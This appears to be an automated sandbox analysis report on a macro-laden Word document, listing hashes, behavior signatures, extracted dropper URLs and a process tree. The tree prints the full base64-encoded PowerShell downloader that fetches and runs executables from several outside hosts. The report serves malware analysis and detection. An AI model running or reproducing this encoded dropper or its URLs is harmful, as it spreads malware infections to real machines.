Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
-
submitted
21-09-2024 04:08
General
-
Target
ef0a51a0c448005dc87a79e14ab29b26_JaffaCakes118.doc
-
Size
224KB
-
MD5
ef0a51a0c448005dc87a79e14ab29b26
-
SHA1
438cef80040f46b3e83faffb81bebb711f296c39
-
SHA256
643d6086cc7145187bc48f08e906244f750cf3830ae09a58630b8074cdb916b4
-
SHA512
faf3cab985eb817b1bfd7a8d058be31cb1025bedb3d276ac0e410ed6fd095b5136a81b043e6d509b2a77d2e3f4f17c70527a6aef1926d39dfb8397953f652720
-
SSDEEP
3072:lV4PrXcuQuvpzm4bkiaMQgAlSmF62ezg2fS:cDRv1m4bnQgISmF6Lg2fS
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://wynn838.com/wp-content/B/
exe.dropper
https://menuazores.com/root/4eq/
exe.dropper
https://www.lunalysis.com/images/P/
exe.dropper
https://fedo.xyz/wp-admin/AaD/
exe.dropper
http://themsc.net/cctqv/M/
exe.dropper
http://earthinnovation.org/pcimonitor/d/
exe.dropper
http://pastaciyiz.biz/wp-includes/1/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 9 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ef0a51a0c448005dc87a79e14ab29b26_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABOAHoAaABzADIAegB5AD0AKAAoACcAVgB3ACcAKwAnAGoAdwB6ACcAKQArACcAYQB6ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBQAHIAbwBmAEkAbABlAFwAYQA0AHYAZwBFADYAUwBcAHgAMQBpAFkAawBYAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAGkAYABUAHkAUABgAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAnACsAJwAxADEALAAnACkAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQASABxADEAcgA1ADIAegAgAD0AIAAoACgAJwBEAGcAJwArACcAbAB4ACcAKQArACgAJwBqAG4AJwArACcAawAnACkAKwAnAGEAOQAnACkAOwAkAFcAZwBiAGIANgB5ADAAPQAoACgAJwBZAGYAJwArACcAdQAnACkAKwAoACcAaAB2ACcAKwAnAGwAZQAnACkAKQA7ACQAVwBwADkAMwA3AGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAJwArACcANAB2ACcAKQArACcAZwBlADYAcwB7ADAAJwArACcAfQAnACsAJwBYADEAJwArACcAaQAnACsAKAAnAHkAawAnACsAJwB4ACcAKQArACcAcwB7ADAAfQAnACkAIAAgAC0AZgBbAEMASABhAFIAXQA5ADIAKQArACQASABxADEAcgA1ADIAegArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASgBzAHYANwBuADgAYQA9ACgAJwBOAGQAJwArACcAbQAnACsAKAAnADcAJwArACcAeQBmAG8AJwApACkAOwAkAFQAYgBjAGIAOQB5AHIAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBMAGkARQBOAHQAOwAkAEQAdAAyAHUAYwBvAHIAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwB3ACcAKwAnAHkAJwApACsAKAAnAG4AbgA4ACcAKwAnADMAOAAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKwAnAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKQArACgAJwB0AC8AQgAvACcAKwAnACoAJwArACcAaAAnACsAJwB0AHQAcABzADoALwAnACsAJwAvAG0AJwApACsAKAAnAGUAbgB1AGEAJwArACcAegBvACcAKwAnAHIAJwApACsAJwBlAHMAJwArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHIAJwArACcAbwAnACkAKwAoACcAbwB0ACcAKwAnAC8ANABlAHEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACcAcwA6ACcAKQArACcALwAvACcAKwAnAHcAJwArACgAJwB3ACcAKwAnAHcALgBsAHUAbgBhACcAKwAnAGwAJwApACsAKAAnAHkAcwBpAHMALgAnACsAJwBjAG8AbQAvAGkAbQBhAGcAZQAnACsAJwBzACcAKQArACgAJwAvACcAKwAnAFAALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAcwAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBmAGUAJwArACcAZABvAC4AJwApACsAJwB4ACcAKwAnAHkAJwArACgAJwB6AC8AJwArACcAdwAnACkAKwAnAHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBBAGEAJwArACcARAAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAHQAaAAnACsAJwBlAG0AJwArACcAcwAnACsAJwBjAC4AbgBlACcAKQArACcAdAAnACsAKAAnAC8AYwBjAHQAJwArACcAcQB2ACcAKQArACgAJwAvAE0ALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZQAnACsAJwBhACcAKQArACgAJwByAHQAJwArACcAaABpAG4AJwArACcAbgBvAHYAYQB0ACcAKQArACcAaQAnACsAKAAnAG8AbgAuAG8AcgBnACcAKwAnAC8AcAAnACkAKwAoACcAYwBpACcAKwAnAG0AbwBuACcAKQArACcAaQB0ACcAKwAoACcAbwByAC8AZAAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AcABhAHMAdABhACcAKQArACgAJwBjAGkAJwArACcAeQBpAHoALgAnACkAKwAoACcAYgBpACcAKwAnAHoALwB3ACcAKwAnAHAALQBpAG4AYwBsAHUAZAAnACsAJwBlACcAKQArACgAJwBzAC8AMQAnACsAJwAvACcAKQApAC4AIgBzAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8ANgA2AHMANAA0ADMAPQAoACcAUgA4ACcAKwAoACcAYwB1AHAAMAAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUwA2AHIAbABwADUAdQAgAGkAbgAgACQARAB0ADIAdQBjAG8AcgApAHsAdAByAHkAewAkAFQAYgBjAGIAOQB5AHIALgAiAEQAbwBXAE4AbABPAGAAQQBkAGAARgBJAGwAZQAiACgAJABTADYAcgBsAHAANQB1ACwAIAAkAFcAcAA5ADMANwBrAHoAKQA7ACQATgB1AGEANABwAGIAcwA9ACgAJwBFACcAKwAoACcANAB0ADIAJwArACcAbQBjAGUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVwBwADkAMwA3AGsAegApAC4AIgBMAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADMANgAxADMANQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABXAHAAOQAzADcAawB6ACkAOwAkAEoAeAAxAHIAdwA4AHUAPQAoACgAJwBaAGkAcgA1AHIAJwArACcANQAnACkAKwAnAHUAJwApADsAYgByAGUAYQBrADsAJABKAG0AZQBlAHYAMgB0AD0AKAAoACcAVwAnACsAJwBtAGEAawBiACcAKwAnAGoAJwApACsAJwB2ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAzAGIAbQA4AHMAOAA9ACgAKAAnAE0AZABxACcAKwAnADUAJwApACsAKAAnAGEAJwArACcAZQB6ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5acbc439f2a66f9d447a067670fe8ca03
SHA1973f676846448e3aad587b3578bc52ede50f1f56
SHA2562ba07c78285085cf9a1677451fe11b975794c13b18997a651a9b185f9574ed99
SHA512e128a94e318c7cc7a3bad16818ffa00438b96b10ea3bd9959b4088dbc24e0e4cf622319027361d7a932295d06d5df033244f9a9c484cfe092215c04139eac141
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
4KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
2.9MB